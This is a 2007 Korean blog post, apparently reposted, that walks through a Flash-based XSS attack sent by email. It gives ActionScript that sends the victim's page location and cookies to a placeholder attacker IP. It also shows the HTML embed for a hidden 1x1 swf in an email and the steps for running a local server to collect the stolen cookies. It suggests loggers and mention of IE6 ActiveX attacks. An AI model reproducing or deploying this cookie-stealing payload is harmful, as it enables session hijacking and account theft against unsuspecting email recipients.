본문으로 바로가기

XSS - 실전사용예제2

category Security/Web 2007. 4. 1. 01:26

GxlGxl(질질이 아니라고 하신다. :) )님의 XSS동영상 강의를 오늘 문득 보게 되었다.
별로 남의 계정에 대한 사리사욕이 없어서 인지,
XSS는 사용해 보지 않은지 꾀 됬다는 생각과 함께..
한번 그분이 소개한 방법을 업로드 하여 본다.

동영상의 내용은 Flash파일(.swf)에 Action Script를 이용하여,
javascript를 실행 시키는 것이었는데, Open할 주소로
javascript:///ScriptCode////방식으로 주는 것이었다.
사이트에는 직접적인 코드제시나, 다운 받을 수 있게 제공되고 있지는 않았으나,
노력만 하면 누구나 획득 할 수 있다. (동영상 화질이 좋다.)
동영상에서는 통신을 하는 프로그램을 사용하는 모습을 볼 수 있었는데,
해당 프로그램의 기능은 8888번 포트를 리슨 하면서, 값이 넘어오면,
넘어온 값 중 location값에 해당하는 주소를, cookie을 적용하여 표시해주는
일종의 브라우져 기능이 합쳐진 프로그램 이었다.
(남이 이미 만들어논 아이디어를 따라 만드는 것은 어렵지 않다.)

오늘 Net Tools라는 친구를 만나보기도 했으니,
XSS를 할때에, 그 친구의 도움을 받으면서 한번 진행해 보겠다.

먼저 Net Tools라는 친구의 도움을 받는 방식으로 하기 위해,
나는 다음과 같이 아주 간단히 스크립트를 수정했다.
(사실 별로 달라진 바 없다.)

var Command = 'javascript:'+
'function Write()'+
'{'+
' var todayDate = new Date();'+
' todayDate.setDate(todayDate.getDate()+31);'+
' document.cookie="xsswritten=yes"+"; path=/;expires=" + todayDate.toGMTString() + ";";'+
'}'+
'function IsWritten()'+
'{'+
' var mycookie = document.cookie;'+
' var i=mycookie.indexOf("xsswritten=yes");'+
' return (i != -1);'+
'}'+
'function Do()'+
'{'+
' if(!IsWritten())'+
' {'+
' Write();'+
' location.href = "http://공격자의IP/?
loc="+document.location+"&cook="+document.cookie;'
+
' }'+
'}'+
'Do();'+
'alert("hello");'+
'';
getURL(Command);


위와 경우는 Net Tools라는 친구의 도움을 받을 것이기 떄문에,
location.href 부분에 공격자의IP로만 해두었지만, 흔한 방법으로는
php파일이나 ,cgi파일같은 서버사이드 스크립트 언어로 Logger를 작성하여
기록을 남기거나, 메일을 날리는 방식을 사용할 수 있다.

다음과 같이 Flash파일에 위의 명령문을 넣어 주었다.

사용자 삽입 이미지


사용자 삽입 이미지

이제 .swf파일은 준비가 다 되었고,
마지막으로 Net Tools에서 Exterior Tools -> Internet Tools -> Central Server에서
HTTP Server만 Start Server버튼을 눌러주면 된다.
정상적으로 켜지면 다음과 같은 모습이 된다.
사용자 삽입 이미지


이제 준비는 끝났다.
공격만 하면 되는 상태이다.

보낸 메일의 내용은 다음과 같았다.

<p>하이</p>
<embed src ="http://공격자의IP/xsst.swf" quality="high" bgcolor="#ffffff" width = "1" height = "1" name = "xss" align = "middle" allowScriptAccess="always" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" />
<p>마무리</p>

Net Tools라는 친구의 도움을 받으면, HTTP Server를 간단하게 만드는 것이 됨으로,
지정한 경로에다가 .swf파일을 저장해두고 위와 같이 경로만 지정해 주면 되었다.

이제 메일을 보내고, 피해자가 될 컴퓨터에서 메일을 열어 보았다.
사용자 삽입 이미지


먼저 우리의 컴퓨터에서 xssf.swf파일을 요청하고,
그 후, 인자로 현재 주소라던지, 쿠키값들이 넘어오는 걸 볼 수 있다. :)
본인은 여기까지만 해보고 라면을 먹으로 갔다..
이 글에서는 플레쉬에 XSS를 시도하는 XSS를 삽입 하였지만,
만약 IE6의 취약점을 이용한 ActiveX공격을 할 수도 있을 것이다.

출처 : 듀얼님블로그


다른 사람들이 많이 읽은 글

'Security > Web' 카테고리의 다른 글

Anti Game Hacking 의 원리, 그리고 Codes  (0) 2007.04.01
Stack BOF  (0) 2007.04.01
XSS - 실전사용예제2  (0) 2007.04.01
JSP 웹해킹  (1) 2007.03.31
JSP 기반의 Web hacking 방법  (2) 2007.03.31
XSS - 실전사용예제  (1) 2007.03.31

댓글을 달아 주세요